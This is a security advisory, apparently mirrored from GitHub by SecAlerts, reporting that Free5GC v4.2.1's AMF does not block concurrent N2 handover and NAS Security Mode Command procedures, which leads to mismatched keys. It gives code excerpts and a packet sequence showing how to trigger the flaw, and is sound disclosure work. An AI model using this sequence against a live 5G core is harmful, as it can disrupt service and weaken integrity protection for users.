AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The AMF in Free5GC v4.2.1 does not enforce the concurrent security procedure rules defined in 3GPP TS 33.501 §6.9.5.1. The AMF does not check for ongoing N2 handover procedures before initiating a NAS Security Mode Command, and vice versa. This can lead to mismatches between NAS and AS security contexts in the network and the UE.

Details

Vulnerability Type: CWE-358 (Improperly Implemented Security Check for Standard)

Affected File: internal/ngap/handler.go — handleHandoverRequiredMain() and internal/gmm/sm.go — SecurityMode()

Root Cause:

3GPP TS 33.501 §6.9.5.1 states:

"Concurrent runs of security procedures may, in certain situations, lead to mismatches between security contexts in the network and the UE. In order to avoid such mismatches, the following rules shall be adhered to: 1. AMF shall not initiate any of the N2 procedures including a new key towards a UE if a NAS Security Mode Command procedure is ongoing with the UE. 2. The AMF shall not initiate a NAS Security Mode Command towards a UE if one of the N2 procedures including a new key is ongoing with the UE."

Free5GC AMF uses an OnGoing state tracking mechanism (SetOnGoing(), GetOnGoing()) with OnGoingProcedureN2Handover type. However, the cross-procedure checks required by §6.9.5.1 are not implemented:

Rule 2 violation: SecurityMode() in internal/gmm/sm.go sends SMC on EntryEvent without checking if N2 handover is ongoing.

Rule 1 violation: handleHandoverRequiredMain() in internal/ngap/handler.go calls SetOnGoing(OnGoingProcedureN2Handover) without checking if SMC is ongoing.

Why NH/NCC and SMC are related:

SMC activates a new KAMF, which changes the basis for NH key derivation. The N2 HandoverRequest includes NH/NCC derived from the old KAMF. If both procedures run concurrently, the target gNB and UE derive different KgNB keys, breaking AS security.

PoC

Source code evidence:

Free5GC AMF internal/gmm/sm.go — SecurityMode(): go func SecurityMode(state fsm.State, event fsm.EventType, args fsm.ArgsType) { switch event { case fsm.EntryEvent: // No check for OnGoing N2 procedure // Directly proceeds to SMC

Free5GC AMF internal/ngap/handler.go — handleHandoverRequiredMain(): go amfUe.SetOnGoing(sourceUe.Ran.AnType, &context.OnGoing{ Procedure: context.OnGoingProcedureN2Handover, }) // No check for ongoing SMC before setting N2

Packet Evidence (pcap available):

| Packet | Time | Message | Description | |--------|------|---------|-------------| | #1 | 0.000s | HandoverRequired | gNBA requests handover | | #18 | 0.002s | HandoverRequest | N2 started (NH/NCC included) | | | | (no response from gNBB) | N2 ongoing | | #28 | 2.062s | Registration request | UE re-registers (same SUPI) | | #63 | 2.069s | Authentication request | | | #64 | 2.070s | Authentication response | | | #71 | 2.072s | Security mode command | SMC during N2 ongoing = Rule 2 violation | NGAPHandover-N2-SMC-Concurrent.zip

Impact

Integrity (MEDIUM): Concurrent NAS and AS security procedures can cause security context mismatches between UE, AMF, and gNB. The SMC activates a new KAMF while the N2 HandoverRequest carries NH/NCC derived from the old KAMF, resulting in KgNB derivation mismatch.

Availability (LOW): Security context mismatch may cause handover failure or security verification failures.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203